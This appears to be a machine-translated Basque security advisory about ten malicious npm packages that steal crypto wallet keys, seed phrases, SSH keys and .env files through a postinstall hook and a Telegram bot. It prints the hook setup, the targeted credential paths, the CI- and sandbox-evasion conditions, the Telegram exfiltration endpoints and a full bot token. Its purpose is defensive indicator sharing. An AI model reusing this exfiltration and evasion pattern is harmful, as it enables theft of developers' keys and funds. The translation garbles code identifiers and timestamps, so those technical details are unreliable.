SeedSweep: Hamar npm kripto pakete gaizto

SeedSweep: Inork begira ez dagoenean bakarrik exekutatzen diren hamar kriptografia-gaiko npm pakete

TL; DR

2026ko ekainaren 9an npm argitaratzaile kontu bakarra, aicrypto-xzggg, bidalita hamar pakete kriptografia eta Web3 zaporeko izenekin — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, eta beste sei.

Pakete guztiek karga bera exekutatzen dute batetik postinstall hook. Instalazioan, CI edo sandbox baten barruan exekutatzen ari den egiaztatzen du — hala ez bada, zorro-gakoen biltegiak, hazi-esaldien fitxategiak, SSH giltzak eta irakurtzen ditu .env sei blockchain ekosistematako fitxategiak biltzen ditu eta Telegram bot bati bidaltzen dizkio.

Defendatzaile batek berehala bilatu dezakeen adierazle bakarra Telegram bot-aren IDa da. 8227918239.

Larritasun: kritikoa — sinadura-giltzen eta berreskuratze-esaldien lapurreta zuzena garatzaileen lan-estazioak.

Erasoa: Nola funtzionatzen duen

Paketeek blockchain garatzaileentzako utilitate gisa iragartzen dute beren burua. paketea.json minimoa da eta instalazio-zikloa script batera bideratzen du:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

scripts/postinstall.js benetako karga kargatzen duen lerro bakarreko shim bat da: require("../src/index.js"). delako instalazio osteko automatikoki exekutatzen da bitartean npm instalatu, ez da garatzaileak kodea inportatu behar — paketea mendekotasun-zuhaitz batean jartzea nahikoa da exekutatzeko.

Barruko hilketa-katea src/index.js lau urrats ditu:

  1. Ingurumenaren egiaztapena. Zaintza funtzio batek erabakitzen du ostatua eraikuntza-agente edo analisi-sandbox baten itxura duen.
  2. Atzerapena. Exekuzioa atzeratu da baten atzean ezarriDenbora-muga gutxi gorabehera 7.4 segundo.
  3. Bilduma. Zorro, giltza eta fitxategi sekretuen bideen zerrenda finko bat aztertzen da; dauden fitxategiak ilaran jartzen dira.
  4. Esfiltrazioa. Ilaran dauden fitxategiak Telegram bot bati bidaltzen zaizkio, laburpen-mezu batekin aurretik.

Bildumaren helburu-zerrendak sei kate eta garatzaileen sekretu generikoak hartzen ditu barne. Moztua:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Guztira hogeita bat bide. Direktorioko sarrerak, esaterako ~/.ethereum/giltza-denda zabalduta daude eta barruko fitxategi guztiak ilaran jartzen dira. Esfiltrazioak Telegram Bot APIa erabiltzen du zuzenean — a bidaliMezua deitu ostalari eta fitxategi laburpen batekin, eta gero bidaliDokumentua fitxategi bakoitzerako zati anitzeko igoera:

testu

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Kodeak muntatzen duen laburpen-mezua literalki hasten da: KRIPTO LAPURRA, eta ondoren hostname-a, erabiltzaile-izena, jatorrizko paketearen izena, fitxategi kopurua eta denbora-zigilua.

Zer dago berri hemen?

Bereizgarria ez da lapurreta mekanismoa — Telegram-en oinarritutako kanporatzea npm-tik instalazio osteko hooks ondo zapalduta dago. Hau da exekuzio atea. Ezer egin aurretik, kargak funtzio bat deitzen du, eta funtzio horrek true itzultzen du ostalariak CI exekutatzaile edo sandbox baten antza duenean, eta goiz itzultzen du hala denean:

testu

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Edukiontzi-id regex klausula aipagarria da: 12 karaktereko hostname hexadecimala da Dockerrek esleitzen dion forma lehenetsia. edukiontzi, beraz, kargak "nire hostname-ak Docker edukiontzi baten itxura du" erabiltzen du inaktibo egoteko arrazoi gisa. Zazpi segundoko atzerapenarekin batera, diseinuak garatzaile baten benetako lan-estazioan exekutatzea eta analisi automatizatua dirudien edozein lekutan isilik egotea lehenesten du. Ate horrek analisi dinamikoaren seinaleak kentzen ditu eta kanporatze estatiko fluxua froga nagusi gisa mantentzen du.

Timeline

Data (UTC) Gertaera
2026-06-09 ~02:48 Klusterreko lehen paketeak argitalpenean markatu ziren (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Bertsio altuagoko kideak markatuta (ethereum-kit-9 1.25.36an, wallet-sdk-9 3.7.73:XNUMXetan)
2026-06-09 ~03:58–03:59 Azken kideak markatuta (defi-tools-39 4.26.29an, swap-sdk-87 4.63.78an, farming-tools-12 4.68.54:XNUMXetan)
2026-06-09 Hamar sailkatuak gaiztoak eta erregistroan kentzeko salatuak

Hamar guztiak hirurogeita hamar minututan azaleratu ziren, kontu bakar bateko argitalpen gidoidun bakarraren antzera.

Konpromisoaren adierazleak

Sare eta portaera adierazleak (ostalaria deskonektatuta):

Adierazlea Balio
Exfil amaiera-puntua api[.]telegram[.]org (Telegram Bot APIa)
Telegram bot-aren IDa 8227918239
Bot tokena 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
Telegram txataren IDa 6433587894
Instalatu kakoa postinstallscripts/postinstall.jssrc/index.js
Markatzaile-katea CRYPTO STEALER bildutako laburpen-mezuan
Argitaratzailea aicrypto-xzggg (adierazitako helbide elektronikoa vipsyria88@gmail[.]com, egiaztatu gabe)

Paketeak eta bertsioak, bakoitza bere SHA-256arekin src/index.js karga (kargak funtzionalki berdinak dira eta txertatutako pakete-izenaren etiketa baino ez dute desberdintzen, beraz, hash bakoitza desberdina da):

html
Package Bertsio src/index.js-ren SHA-256
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Ehiza-kontsulta sinple bat: bilatu instalazio-erregistroak eta blokeo-fitxategiak hamar izenetako edozeinentzat, eta bilatu irteerako trafikoa Telegram Bot APIrako konexioetarako, bestela erabiltzen ez duten eraikitze- edo garatzaile-ostalarietatik.

Aitortza eta Behatutako Portaera

Hamar pakete guztiak kontu bakar batek argitaratu zituen, aicrypto-xzggg, zeinaren helbide elektronikoa adierazi den vipsyria88@gmail[.]comBai helbide elektronikoa, bai iturburu-kontroleko esteka ez daude egiaztatuta erregistroko metadatuetan, eta kontuak ospe puntuazio oso negatiboa du. Ez dugu baieztatu nork kudeatzen duen kontua.

Bi xehetasun bereizteko modukoak dira edozein identitate-erreklamaziotik. Lehenik eta behin, paketea.json Egileak eremu irakurketak Alex Smith pakete guztietan, benetako argitalpen kontua den bitartean aicrypto-xzggg; egilearen eremua auto-deklaratutako metadatua da eta ez du egiletza ezartzen. Bigarrenik, bertsio-zenbakiak asko aldatzen dira — kide batzuk hemen daude 1.0.0, beste batzuk hemen 4.68.54 — hau da, pakete-izen berrietan karga bakarra berrerabiltzearekin bat datorrena, benetako argitalpen-historiak mantendu beharrean.

Portaera uniformea ​​da kluster osoan: helburu-bideen zerrenda bera, Telegram bot ID eta txat ID bera, ingurune-ate bera, KRIPTO LAPURRA markatzailea. Uniformitate hori da paketeen arteko lotura sendoena. Operadore beraren seinalea da, ez identitatea.

Eragina, joerak eta defendatzaileentzako orientabideak

Esposizioa konkretua da. Pakete horietako edozein software zorro bat, hazi-esaldi fitxategi bat edo SSH gako bat duen lan-estazio batean instalatzen duen garatzaile batek fitxategi horiek irakurri eta segundo gutxiren buruan transmititzen ditu ostalaritik. Berreskuratze esaldiak eta sinadura-gakoak ez dira saio-token bat bezala iraungitzen; behin... mnemonikoa.txt edo Solana bat id.json makina uzten badu, kontrolatzen dituen funtsak arriskuan daude mugitu arte. Exekuzio berak ere jasotzen ditu .env fitxategiak, normalean API gakoak eta datu-basearen kredentzialak daramatzatenak.

Bi joera daude multzo honen atzean. Lehenengoa kriptografia- eta Web3 gaiko izenak erabiltzen jarraitzea da publiko espezifiko bat erakartzeko —mendekotasunak instalatzen dituzten makina berean zorroak eta giltzak gordetzen dituzten garatzaileak—. Bigarrena, instalazio-garaiko karga-zama batean sandbox saihestearen heldutasuna da. CI ingurune-aldagaiak, exekutatzen duten erabiltzaile-izenak eta Docker edukiontzi-id hostname forma egiaztatzen dituen ate bat analisipean benetako lan-estazio batean baino modu ezberdinean jokatzeko ahalegin nahita bat da, eta detekzio dinamiko hutsaren maila igotzen du.

Defendatzaileentzat:

Script-ak lehenespenez desgaituta instalatu. npm instalazioa –ignore-script-ak, edo ezarri ez ikusi-gidoiak=egia in .npmrc, eragozten du instalazio osteko exekuzioa; gaitu scriptak benetan behar dituzten mendekotasun espezifikoetarako soilik.

Mantendu zorroak eta sinadura-giltzak eraikuntza- eta garapen-makinetatik kanpo. Erabili hardware-zorro bat edo sinadura-ostalari dedikatu eta mendekotasunik gabeko bat.

Treat .env, gako-biltegiak eta hazi-esaldi fitxategiak harribitxi gisa. Ez lukete inoiz egon behar direktorio batean ere npm instalatu lanean ari den zuhaitza.

Bilatu Telegram Bot APIrako konexioak CI eta garatzaileen ostalarietatik. Eraikuntza-ingurune gehienek ez dute inoiz deitzen; instalazio baten ondoren bat-batean deitzen duen bat ikertzea merezi du.

Mendekotasunak finkatu eta berrikusi. Kriptografia-izen generiko batekin pakete berri bat, instalazio osteko hook, eta ez dago biltegiko estekarik blokeo-fitxategi batean sartu aurretik begirada bat merezi duenik.

Edukiontziaren IDa saihesteko klausula analistentzako oroigarri bat ere bada: sandbox batean inaktibo geratzen den instalazio-garaiko karga ez da onbera, selektiboa baizik. Instalazio-bidearen berrikuspen estatikoa da exekuzio dinamikoak zer erakutsi ez dezakeen ikusteko modu fidagarria.

Erreferentziak

npm instalazio dokumentazioa — bizi-zikloko script-ak eta –ignore-script-ak— instalazio automatikoa desgaitzeko erreferentzia hooks. 

sca-tools-software-konposizio-analisi-tresnak
Lehentasuna eman, konpondu eta babestu zure software arriskuak
Lortu zure doako kontua.
Ez da beharrezkoa kreditu txartelik.

Ziurtatu zure softwarearen garapena eta entrega

Xygeni produktu multzoarekin